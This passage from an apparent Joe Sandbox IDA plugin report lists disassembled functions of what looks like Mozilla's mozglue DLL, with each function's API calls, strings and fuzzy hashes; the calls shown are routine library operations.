Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: ad7df1d897504ca9c386df7f8caf4eabc2cafa72212692d945cb46ff5594840a
Instruction ID: a74b241b91b2f49f95ff38973e6b8024472125b9e9b09f34a501964d88644044
Opcode Fuzzy Hash: ad7df1d897504ca9c386df7f8caf4eabc2cafa72212692d945cb46ff5594840a
Instruction Fuzzy Hash: 14113D7530A244EFDF20CF25C849E6A3F79EB86369F204015EA0592640C731EA50CAB1

Function 6C950EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C97AB89: EnterCriticalSection.KERNEL32(6C9CE370,?,?,?,6C9434DE,6C9CF6CC,?,?,?,?,?,?,?,6C943284), ref: 6C97AB94
Part of subcall function 6C97AB89: LeaveCriticalSection.KERNEL32(6C9CE370,?,6C9434DE,6C9CF6CC,?,?,?,?,?,?,?,6C943284,?,?,6C9656F6), ref: 6C97ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C97D9F0,00000000), ref: 6C950F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C950F3C
__Init_thread_footer.LIBCMT ref: 6C950F50
FreeLibrary.KERNEL32(?,6C97D9F0,00000000), ref: 6C950F86

Strings

combase.dll, xrefs: 6C950F18
CoInitializeEx, xrefs: 6C950F36

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: 837e5313182af21571a8404b013b64d3918177605a654ddfced37419e09e8a00
Instruction ID: a308ad89498353fee972efa58e095cb4c2df72ec9aaac09ca33c8a01034c5361
Opcode Fuzzy Hash: 837e5313182af21571a8404b013b64d3918177605a654ddfced37419e09e8a00
Instruction Fuzzy Hash: 2C11A9757092C09BDF00CF55C908E6A3778FB8B32DF604219EE0593742D731E625CA96

Function 6C98F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C989420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C954A68), ref: 6C98945E
Part of subcall function 6C989420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C989470
Part of subcall function 6C989420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C989482
Part of subcall function 6C989420: __Init_thread_footer.LIBCMT ref: 6C98949F

GetCurrentThreadId.KERNEL32 ref: 6C98F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C98F561

Part of subcall function 6C9894D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9894EE
Part of subcall function 6C9894D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C989508

GetCurrentThreadId.KERNEL32 ref: 6C98F577
AcquireSRWLockExclusive.KERNEL32(6C9CF4B8), ref: 6C98F585
ReleaseSRWLockExclusive.KERNEL32(6C9CF4B8), ref: 6C98F5A3

Strings

[I %d/%d] profiler_resume_sampling, xrefs: 6C98F499
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C98F56A
[I %d/%d] profiler_resume, xrefs: 6C98F239
[I %d/%d] profiler_pause_sampling, xrefs: 6C98F3A8

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: 155d6593b9d802dde73e251c5a3ede67e54a3e2cbf940af62e87e95e601d6eb6
Instruction ID: bf92c46fd0e1ebfd02f552d531d4831235dddfbae8949843b8833d889b8e9da4
Opcode Fuzzy Hash: 155d6593b9d802dde73e251c5a3ede67e54a3e2cbf940af62e87e95e601d6eb6
Instruction Fuzzy Hash: D0F0E9767052009FEB006F74D84C96A777CFB9669DF200411FA0683742CB35C9008BB1

Function 6C98F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C989420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C954A68), ref: 6C98945E
Part of subcall function 6C989420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C989470
Part of subcall function 6C989420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C989482
Part of subcall function 6C989420: __Init_thread_footer.LIBCMT ref: 6C98949F

GetCurrentThreadId.KERNEL32 ref: 6C98F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C98F598), ref: 6C98F621

Part of subcall function 6C9894D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9894EE
Part of subcall function 6C9894D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C989508

GetCurrentThreadId.KERNEL32 ref: 6C98F637
AcquireSRWLockExclusive.KERNEL32(6C9CF4B8,?,?,00000000,?,6C98F598), ref: 6C98F645
ReleaseSRWLockExclusive.KERNEL32(6C9CF4B8,?,?,00000000,?,6C98F598), ref: 6C98F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C98F62A

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: fe7d6562070f880d7d8d57d0b9afe263f0ea177792543378ed3ccf39da0b9ea6
Instruction ID: 9f11daa7e2089b9d9a77018f7516b43ce611e803e2ec86954346c63104277e47
Opcode Fuzzy Hash: fe7d6562070f880d7d8d57d0b9afe263f0ea177792543378ed3ccf39da0b9ea6
Instruction Fuzzy Hash: 47F08976305204AFEB006B75C84C95A777DFB966ADF200415FA0683742CB75CD058BB5

Function 6C950E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C950DF8), ref: 6C950E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C950EA1
__Init_thread_footer.LIBCMT ref: 6C950EB5
FreeLibrary.KERNEL32 ref: 6C950EC5

Strings

kernel32.dll, xrefs: 6C950E7D
GetProcessMitigationPolicy, xrefs: 6C950E9B

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: 79940a1daea64edc18150172a4a73e365567db74898be15c49d10e0961de310a
Instruction ID: 417a0b415df93d7d8d79a989e733ed79c81e7d9a88e577c8acc403d822bf6083
Opcode Fuzzy Hash: 79940a1daea64edc18150172a4a73e365567db74898be15c49d10e0961de310a
Instruction Fuzzy Hash: 9101F6747082819BDF01CFA8E958A5237B9E746B1DF701525E90282B80DB74E6389A56

Function 6C9805F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C97CFAE,?,?,?,6C9431A7), ref: 6C9805FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C97CFAE,?,?,?,6C9431A7), ref: 6C980616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C9431A7), ref: 6C98061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C9431A7), ref: 6C980627

Strings

<jemalloc>, xrefs: 6C9805FA, 6C98060F
: (malloc) Error in VirtualFree(), xrefs: 6C98061B, 6C980625

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 202d3868ed34e7ba3a27903f62edbd57b568aa85f950ef5a190d6b7498b1966f
Instruction ID: c4e17bfc690b4858a080b0ed8d11386e7b4d6cbdb7de8a5f7e76da69d836ea45
Opcode Fuzzy Hash: 202d3868ed34e7ba3a27903f62edbd57b568aa85f950ef5a190d6b7498b1966f
Instruction Fuzzy Hash: E4E08CE2A0101037F6142256AC86DBB761CDBD6174F080039FD0D92701E95AED1A51F6

Function 6C9505F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d806739d25cd479161cad097b3ce48d51c912f336e9fa8b6518ba986dd4b70c
Instruction ID: 739f3c26b8fb0ff083a51c96ed0db4be6579d5519bc839e53a7751671bcc1320
Opcode Fuzzy Hash: 3d806739d25cd479161cad097b3ce48d51c912f336e9fa8b6518ba986dd4b70c
Instruction Fuzzy Hash: 9FA17AB0A01605CFDB24CF29C984A99FBF1BF48308F5086AED44A97B00E730AA55CF90

Function 6C9A14A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9A14C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9A14E2
GetCurrentThreadId.KERNEL32 ref: 6C9A1546
InitializeConditionVariable.KERNEL32(?), ref: 6C9A15BA
free.MOZGLUE(?), ref: 6C9A16B4

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: f2c230c48445b3ba5d2a89711d9c671ca3f6d239dc4fc278e91770d53375c709
Instruction ID: 123dad1e7a37b101dacd3ac1330a5aeca950bcf715a5f2203b76eb336d32b217
Opcode Fuzzy Hash: f2c230c48445b3ba5d2a89711d9c671ca3f6d239dc4fc278e91770d53375c709
Instruction Fuzzy Hash: 3161E072A04700DBDB218F65C880BDEB7B5BF9A308F04951CED8A57711DB31E999CB91

Function 6C999F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C999FDB
free.MOZGLUE(?,?), ref: 6C999FF0
free.MOZGLUE(?,?), ref: 6C99A006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C99A0BE
free.MOZGLUE(?,?), ref: 6C99A0D5
free.MOZGLUE(?,?), ref: 6C99A0EB

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: ccc6038042e43540606a1d0fc1e55c109380236ac3b238f57b82bdc5cc09a142
Instruction ID: 071e1f4059624cd112b532307aa002ca753a052b26171ed2c5b35464495e779a
Opcode Fuzzy Hash: ccc6038042e43540606a1d0fc1e55c109380236ac3b238f57b82bdc5cc09a142
Instruction Fuzzy Hash: FF61B175908701DFD712CF18C48059AB3F5FF98328F548659E8999BB02EB32E986CBC1

Function 6C99DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C99DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C99D38A,?), ref: 6C99DC6F
free.MOZGLUE(?,?,?,?,?,6C99D38A,?), ref: 6C99DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C99D38A,?), ref: 6C99DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C99D38A,?), ref: 6C99DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C99D38A,?), ref: 6C99DD4A

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: e970f9969d04b59bc9271bd5e4eec8f89d559d8af0a33d766cfd5ed22cb61766
Instruction ID: bbc6c09b75ea97551da18ed912e19b83fad36d248ec7f140caf7854a3c91cbf5
Opcode Fuzzy Hash: e970f9969d04b59bc9271bd5e4eec8f89d559d8af0a33d766cfd5ed22cb61766
Instruction Fuzzy Hash: B5417EB6A00605CFCB00CFA9C8C099AB7F9FF99318B694569D945A7B11E731FC10CB90

Function 6C986590 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C97FA80: GetCurrentThreadId.KERNEL32 ref: 6C97FA8D
Part of subcall function 6C97FA80: AcquireSRWLockExclusive.KERNEL32(6C9CF448), ref: 6C97FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C986727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C9867C8

Part of subcall function 6C994290: memcpy.VCRUNTIME140(?,?,6C9A2003,6C9A0AD9,?,6C9A0AD9,00000000,?,6C9A0AD9,?,00000004,?,6C9A1A62,?,6C9A2003,?), ref: 6C9942C4

Strings

data, xrefs: 6C986593

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data
API String ID: 511789754-2918445923
Opcode ID: 2448da0ddaf9057611e649d61a98103c5d7f56b540d070d01b0a675abd2539fb
Instruction ID: efeba8da4294c5c57856a298f2ecb79b8a01f3cb21113c44049e7ec714519021
Opcode Fuzzy Hash: 2448da0ddaf9057611e649d61a98103c5d7f56b540d070d01b0a675abd2539fb
Instruction Fuzzy Hash: 26D1CFB5A093409FD724CF24C840B9FB7E5AFE5708F14492DE4899BB91DB30E949CB92

Function 6C99C810 Relevance: 9.1, APIs: 6, Instructions: 75COMMON

Download Yara Rule

APIs

??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C99C82D
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C99C842

Part of subcall function 6C99CAF0: ?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(00000000,00000000,?,6C9BB5EB,00000000), ref: 6C99CB12

?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000), ref: 6C99C863
std::_Facet_Register.LIBCPMT ref: 6C99C875

Part of subcall function 6C97B13D: ??_U@YAPAXI@Z.MOZGLUE(00000008,?,?,6C9BB636,?), ref: 6C97B143

??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C99C89A
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C99C8BC

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_Bid@locale@std@@Facet_Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterV42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 2745304114-0
Opcode ID: c5c01337bd9d4f18e097e66f23758322aebcf684ab216e7d6bf4edc46d703a7b
Instruction ID: a1e17eb41922d4aa318b396734510da1e6a68a1fc6fb95fe794105a2b2572d00
Opcode Fuzzy Hash: c5c01337bd9d4f18e097e66f23758322aebcf684ab216e7d6bf4edc46d703a7b
Instruction Fuzzy Hash: B3119875B042059FCF00DFA5CC998AEBB79EF99355F640129E60697741DB30DA08CBE1

Function 6C97D5D0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C94EB57,?,?,?,?,?,?,?,?,?), ref: 6C97D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C94EB57,?), ref: 6C97D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C94EB57,?), ref: 6C97D673
free.MOZGLUE(?), ref: 6C97D888

Strings

|Enabled, xrefs: 6C97D81E

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: |Enabled
API String ID: 4142949111-2633303760
Opcode ID: c7a1b710d8691b3a4d6b168fab922ed3cbc6f015b715a2fe933790b3a3428876
Instruction ID: 51b5d01ded12c19bcf50bed5d9917ac4752cf62e5b6657a296ad1d6d2b3bba88
Opcode Fuzzy Hash: c7a1b710d8691b3a4d6b168fab922ed3cbc6f015b715a2fe933790b3a3428876
Instruction Fuzzy Hash: A5A101B1A052089FDB20CF69C4807EEBBF4AF59318F18805CD89AAB741D735E945CBB1

Function 6C97F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C97F480

Part of subcall function 6C94F100: LoadLibraryW.KERNEL32(shell32,?,6C9BD020), ref: 6C94F122
Part of subcall function 6C94F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C94F132

CloseHandle.KERNEL32(00000000), ref: 6C97F555

Part of subcall function 6C9514B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C951248,6C951248,?), ref: 6C9514C9
Part of subcall function 6C9514B0: memcpy.VCRUNTIME140(?,6C951248,00000000,?,6C951248,?), ref: 6C9514EF

Part of subcall function 6C94EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C94EEE3

CreateFileW.KERNEL32 ref: 6C97F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C97F523

Strings

\oleacc.dll, xrefs: 6C97F4CB

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: d3f09415f4cb2431113d465cd489346be624213e856477daab27acd75ee44281
Instruction ID: b13899f828f35924a81faac571d137dc3c6c1cd657d7fada507fa711c025a8e0
Opcode Fuzzy Hash: d3f09415f4cb2431113d465cd489346be624213e856477daab27acd75ee44281
Instruction Fuzzy Hash: B541A3306097109FE720DF68C884BABB7F8AF9531CF504A1CF59197650EB30D949CBA2

Function 6C9A74A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C9A7526
__Init_thread_footer.LIBCMT ref: 6C9A7566
__Init_thread_footer.LIBCMT ref: 6C9A7597

Strings

UnmapViewOfFile2, xrefs: 6C9A7552
kernel32.dll, xrefs: 6C9A7557

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 5692bd7e072633fc72a669e8a1c99b62bfd55971993dd69321190aa11c5a1ebc
Instruction ID: e9ab22e1318cafe43f9e653662645357882085e295298867685de1c9aa5ae757
Opcode Fuzzy Hash: 5692bd7e072633fc72a669e8a1c99b62bfd55971993dd69321190aa11c5a1ebc
Instruction Fuzzy Hash: 6A21F831706501EBCF148FE4C816E9933BAEB97B2CF245529E80557B40CB20FA2785A7

Function 6C9AA7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9CF770,-00000001,?,6C9BE330,?,6C96BDF7), ref: 6C9AA7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6C96BDF7), ref: 6C9AA7C2
moz_xmalloc.MOZGLUE(00000018,?,6C96BDF7), ref: 6C9AA7E4
LeaveCriticalSection.KERNEL32(6C9CF770), ref: 6C9AA80A

Strings

accelerator.dll, xrefs: 6C9AA7BF

Memory Dump Source

